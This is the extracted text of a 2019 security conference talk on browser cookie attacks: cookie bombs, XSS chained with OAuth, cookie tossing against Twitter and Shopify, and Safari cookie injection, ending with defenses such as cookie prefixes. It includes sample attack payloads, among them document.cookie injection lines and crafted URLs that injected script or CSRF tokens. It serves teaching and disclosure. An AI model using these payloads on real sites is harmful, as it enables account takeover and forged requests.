The Cookie Monster in Our Browsers

Download as pdf or txt
Download as pdf or txt
You are on page 1of 77

The cookie monster

in your browsers

@filedescriptor

HITCON 2019
@filedescriptor

• From Hong Kong !

• Pentester for Cure53

• Love WebApp Sec & Browser Sec

• Bug Bounty Hunter (#1 on Twitter's program)


Motivation
Motivation
Motivation
1966

History
The Dark Age

1994 1997 2000

Netscape's cookie_spec RFC 2109 RFC 2965

Basic Syntax
More Attributes
Obsoletes RFC 2109

Mechanism Privacy Control Set-Cookie2 & Cookie2

No browser followed these specs!


The Modern Age

2011 2015 2016 2016

Cookie Prefixes
Same-site Cookies
Strict Secure Cookies

RFC 6265
(RFC6265bis) (RFC6265bis) (RFC6265bis)

Obsoletes RFC 2965

Improves Integrity Prevents secure


Summarizes reality
across subdomains Kills CSRF & Co. cookies overwrite from
over secure channel non-secure origin
HttpOnly flag
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊
🍊
🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪
🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪
🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪
🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪
🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪
🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪
🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪
🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪
🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪
🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪
🍪
HTTP Response
HTTP/1.1 200 OK
[...]
Set-Cookie: sid=123; path=/admin

JavaScript API (write)


document.cookie = 'lang=en'
HTTP Response Subsequent HTTP Request
HTTP/1.1 200 OK POST /admin HTTP/1.1
[...] [...]
Set-Cookie: sid=123; path=/admin Cookie: sid=123; lang=en

JavaScript API (write) JavaScript API (read)


document.cookie = 'lang=en' document.cookie
// sid=123; lang=en

*Attributes do not appear in requests


Name Value Attribute Flag
Set-Cookie: sid=123; path=/admin; Secure

Attribute Flag

Expires Max-Age Domain Path SameSite Secure HttpOnly


Attribute Flag

Expires Max-Age Domain Path SameSite Secure HttpOnly

We will focus on these attributes in this talk


Domain
Domain to subdomains
example.com
Set-Cookie: foo=bar; domain=.example.com

👀 👀
sub.example.com sub.of.sub.example.com
Subdomains to subdomains

sub.example.com
Set-Cookie: foo=bar; domain=.example.com

👀 👀
example.com sub.of.sub.example.com
Current domain
sub.example.com
Set-Cookie: foo=bar;

👀 👀
example.com sub.of.sub.example.com
Dot or no Dot?
• They have no difference (old RFC vs new RFC style)

• Both widen the scope of a cookie to all (sub)domains

• The correct way to limit the scope is to not have the


domain attribute

• Some websites add the domain attribute for all cookies

• If one of the subdomains is compromised, such


cookies will be leaked to unauthorized parties
"Some existing user agents treat an absent Domain
attribute as if the Domain attribute were present
and contained the current host name."

– RFC 6265 (4.1.2.3.)


Still isn’t fixed in IE11 on Windows 7 / 8.1!
Cookie Bomb

• Most servers have a length limit on request headers

• When this limit is exceeded, HTTP 413 or 431 is returned

• Limited cookies injection can still result in client-side DoS

• Domain & Expire attributes help persist the attack across


(sub)domains.
https://example.com/aaa…aaa https://twitter.com/#a

https://example.com/aaa…aaa https://twitter.com/#b

https://example.com/aaa…aaa https://twitter.com/#c

GET / HTTP/1.1
[...]

} 8kB+
Cookie: ev_redir_a=aaa...aaa;
ev_redir_b=aaa...aaa;
ev_redir_c=aaa...aaa
Shared domains're vulnerable by design
e.g. github.io
Public Suffix List

• Community curated

• Some domains cannot have


cookies

• The same list that restricts


domain=.com.tw
XSS+OAuth

• Say you have a boring XSS

• And the site is using OAuth

• Sounds like you can use the XSS to takeover accounts?


Expectation
https://google.com/oauth?client_id=example

HTTP/1.1 302 Found


Location: https://example.com/oauth/callback?code=123
Set-Cookie: sid=123
Steal

HTTP/1.1 302 Found


Location: https://example.com/home
Reality
https://google.com/oauth?client_id=example

1. Authorization code is single-use


HTTP/1.1 302 Found
Location: https://example.com/oauth/callback?code=123
Set-Cookie: sid=123
Steal

2. Intermediate HTTP Redirect is transparent

HTTP/1.1 302 Found


Location: https://example.com/home
XSS+🍪💣+OAuth

1. Perform Cookie Bomb Attack via XSS

2. Embed an iframe pointing to OAuth IdP

3. It redirects to target with the authorization code

4. Server rejects the request due to large header

5. Use XSS to get the authorization code from iframe URL


https://example.com

https://google.com/oauth?client_id=example
https://example.com

iframe.contentWindow.location.href

https://example.com/oauth/callback?code=123
Path & HttpOnly
POST /admin HTTP/1.1
[...]
Cookie: csrf_token=foo; csrf_token=bar

This is a valid request


True or False?
Cookie Tossing
• Cookie key consists of the tuple (name, domain, path)

• Each cookie-key-value has their own attribute list

• (Sub)domains can force a cookie with the same name to


other (sub)domains

• Browser sends all cookies of the same name without


attributes

• Server thus has no way to tell which one is from which


domain/path
GitHub Pages used to be on *.github.com
Scenario

• Had an XSS on ton.twitter.com where contents are static

• twitter.com uses auth_token for session ID and


_twitter_sess for storing CSRF token

• Could modify _twitter_sess with an attacker-known value


and have site-wide CSRF

• However it’s protected by HttpOnly


HttpOnly

• Cookies with this flag cannot be read/write from


JavaScript API

• Safari before version 12 has a bug that allows writing to


HttpOnly cookies with JavaScript API

• Cookie Tossing can also help “bypass” this flag, as you


can create a cookie with the same name but different key
tuple
Expectation
Name Value Domain
_twitter_sess original
_twitter_sess attacker’s .twitter.com

POST /i/tweet/create HTTP/1.1


[...]
Cookie: _twitter_sess=attackers; _twitter_sess=original

authenticity_token=attacker-known
Reality
Name Value Domain
_twitter_sess original
_twitter_sess attacker’s .twitter.com

POST /i/tweet/create HTTP/1.1


[...]
Cookie: _twitter_sess=original; _twitter_sess=attackers;

authenticity_token=attacker-known
2. The user agent SHOULD sort the cookie-list in the following
order:

* Cookies with longer paths are listed before cookies with


shorter paths.

* Among cookies that have equal-length path fields, cookies with


earlier creation-times are listed before cookies with later
creation-times.

–RFC 6265 (5.4)


Precedence matters

• Specs do not mention how to handle duplicate cookies

• Most servers accept the first occurrence of cookies with


the same name (think of HPP)

• Most browsers place cookies created earlier first


2. The user agent SHOULD sort the cookie-list in the following
order:

* Cookies with longer paths are listed before cookies with


shorter paths.

* Among cookies that have equal-length path fields, cookies with


earlier creation-times are listed before cookies with later
creation-times.

–RFC 6265 (5.4)


Revised Attack
Name Value Domain Path
_twitter_sess original /
_twitter_sess attacker’s .twitter.com /i/

POST /i/tweet/create HTTP/1.1


[...]
Cookie: _twitter_sess=attackers; _twitter_sess=original

authenticity_token=attacker-known
Practical user agent implementations have limits on the number and
size of cookies that they can store. General-use user agents SHOULD
provide each of the following minimum capabilities:

o At least 4096 bytes per cookie (as measured by the sum of the
length of the cookie's name, value, and attributes).

o At least 50 cookies per domain.

–RFC 6265 (6.1)


Overflowing Cookie Jar
• Another way to “overwrite” a HttpOnly cookie is to
remove it

• Browsers have a limitation on how many cookies a


domain can have

• When there is no space, older cookies will get deleted

• Drawback: it’s not always easy to know how many


cookies a victim has (tracking cookies are unpredictable)
More Cookie Tossing
Application
Self-XSS to full XSS
Selectively forcing attacker’s session cookie on
certain paths
https://attacker.myshopify.com

document.cookie='_master_udr=attackers;path=/admin/oauth

Login “CSRF”
https://attacker.myshopify.com/admin/oauth/authorize?client_id=editor

https://script-editor.shopifycloud.com/oauth/callback?code=attackers

Re-login victim
https://victim.myshopify.com/admin/oauth/authorize?client_id=editor

Self-XSS in iframe executing with victim’s session

https://script-editor.shopifycloud.com/oauth/callback?code=victims
Session Fixation
Forcing attacker’s session cookie with a subdomain
XSS
https://script-editor.shopifycloud.com

Force a session cookie scoped to .shopifycloud.com using XSS

document.cookie='_flow_session=attackers;domain=.shopifycloud.com'

https://victim.myshopify.com/admin/oauth/authorize?client_id=flow

OAuth redirect with authorization code

GET /oauth/callback?code=victims HTTP/1.1


Host: flow.shopifycloud.com
Cookie: _flow_session=attackers
Implementation
Discrepancy
Multiple Cookies at Once?

• We can only set one cookie at a time in a single Set-


Cookie header

• However, the older specs allow setting multiple in a single


Set-Cookie header
Cookie based XSS
Exploiting limited Cookie Injection with Safari
“Informally, the Set-Cookie response header
comprises the token Set-Cookie:, followed by a
comma-separated list of one or more cookies.”

–RFC 2109 (4.2.2)


Set-Cookie: foo=123; path=/admin; HttpOnly;, bar=456; Secure

Works in Safari before version 10

GET /admin HTTP/1.1


[...]
Cookie: foo=123; bar=456
https://outlook.live.com/owa/?realm=hotmail.com;, ClientId='-alert(2)-'

HTTP/1.1 200 OK
[...]
Set-Cookie: realm=hotmail.com;, ClientId='-alert(2)-'

GET / HTTP/1.1
[...] Safari sets 2 cookies
Cookie: realm=hotmail.com; ClientId='-alert(2)-'

window.clientId = ''-alert(2)-'';
CSRF Cookie Injection
Server accepting comma separated cookies
“For backward compatibility, the separator in the
Cookie header is semi-colon (;) everywhere. A
server SHOULD also accept comma (,) as the
separator between cookie-values for future
compatibility.”

–RFC 2965 (3.3.4)


http://blackfan.ru/r/,m5_csrf_tkn=x,;domain=.twitter.com;path=/

Cookie set by Google Analytics on translation.twitter.com scoped to .twitter.com

__utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcct=/
r/,m5_csrf_tkn=x

POST /messages/follow HTTP/1.1


[...] Twitter’s server parses it as 2 cookies
Cookie: __utmz=123456.123456789.11.2.utmcsr=blackfan.ru|
utmccn=(referral)|utmcct=/r/,m5_csrf_tkn=x

m5_csrf_tkn=x
Defense
Cookie Prefixes
• Cookies prefixed with __Host- cannot have Domain
attribute

• This prevents (sub)domains from forcing a cookie the


current domain doesn’t want

• Cookies intended for (sub)domains are still vulnerable to


Cookie Tossing

• Use a separate domain for user generated assets


Servers must only
follow RFC 6265
PSA: CSRF & others will be dead in 2020😢
Q&A
find me on Twitter @filedescriptor

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy